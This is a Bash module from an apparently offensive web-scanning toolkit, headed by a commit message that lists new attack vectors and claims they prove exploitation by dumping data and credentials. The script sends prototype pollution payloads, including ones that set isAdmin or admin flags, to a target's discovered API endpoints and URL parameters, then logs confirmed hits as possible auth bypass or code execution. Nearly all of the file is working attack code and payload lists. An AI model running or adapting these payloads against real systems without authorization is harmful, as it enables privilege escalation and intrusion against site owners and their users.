d2bc52905d
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
95 lines
2.9 KiB
Bash
95 lines
2.9 KiB
Bash
#!/usr/bin/env bash
|
|
# Vector 23: Prototype Pollution — Node.js client & server-side
|
|
# Desc: Injects __proto__ payloads to find prototype pollution in JS apps
|
|
# Severity: HIGH
|
|
# Proof: Confirms by causing observable behavior change or error
|
|
|
|
vector_prototype_pollution() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(get_domain "$target")
|
|
local findings=0
|
|
|
|
print_info "Hunting Prototype Pollution..."
|
|
|
|
# __proto__ injection payloads
|
|
local proto_payloads=(
|
|
'{"__proto__":{"isAdmin":true}}'
|
|
'{"__proto__":{"polluted":"true"}}'
|
|
'{"constructor":{"prototype":{"isAdmin":true}}}'
|
|
'{"__proto__":{"admin":1}}'
|
|
'{"__proto__":{"bypass":true}}'
|
|
)
|
|
|
|
# URL-based prototype pollution
|
|
local url_payloads=(
|
|
"__proto__[polluted]=true"
|
|
"__proto__[isAdmin]=true"
|
|
"constructor[prototype][isAdmin]=true"
|
|
"__proto__.polluted=true"
|
|
)
|
|
|
|
# Merge-based (lodash/jquery extend)
|
|
local merge_payloads=(
|
|
'{"__proto__":{"polluted":"✅"}}'
|
|
'[{"__proto__":{"polluted":"✅"}}]'
|
|
)
|
|
|
|
# Test JSON endpoints
|
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep -i 'json\|api\|graphql\|rest\|v1\|v2' | head -10)
|
|
|
|
if [ -z "$urls" ]; then
|
|
urls="$target"
|
|
fi
|
|
|
|
for url in $urls; do
|
|
for payload in "${proto_payloads[@]}" "${merge_payloads[@]}"; do
|
|
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
|
-X POST -H "Content-Type: application/json" \
|
|
-d "$payload" "$url" 2>/dev/null)
|
|
|
|
# Check for pollution reflection
|
|
if echo "$response" | grep -qi '"polluted"'; then
|
|
print_find "Prototype Pollution Confirmed!" "Server reflects __proto__ injection"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: Prototype Pollution
|
|
DETAIL: Server-side JS prototype pollution confirmed
|
|
URL: $url
|
|
PAYLOAD: $payload
|
|
EVIDENCE: Response contains 'polluted' from __proto__ injection
|
|
EXPLOIT: May allow RCE, bypass auth, or modify app behavior" > "$REPORTS_DIR/.finding_pp_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
|
|
# Also check for X-Prototype-Pollution header or error messages
|
|
local headers=$(curl -sI --connect-timeout 5 --max-time 8 \
|
|
-X POST -H "Content-Type: application/json" \
|
|
-d "$payload" "$url" 2>/dev/null)
|
|
|
|
if echo "$headers" | grep -qi "x-polluted\|x-prototype\|polluted"; then
|
|
print_find "Prototype Pollution via Header!" "Server pollution header detected"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
done
|
|
done
|
|
|
|
# URL-based pollution test
|
|
for payload in "${url_payloads[@]}"; do
|
|
local test_url="${target}?${payload}"
|
|
local body=$(curl -s --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
|
|
if echo "$body" | grep -qi "polluted.*true\|isAdmin.*true"; then
|
|
print_find "URL-based Prototype Pollution!" "$payload"
|
|
findings=$((findings + 1))
|
|
break
|
|
fi
|
|
done
|
|
|
|
if [ "$findings" -eq 0 ]; then
|
|
print_info "No prototype pollution detected"
|
|
fi
|
|
|
|
return $findings
|
|
}
|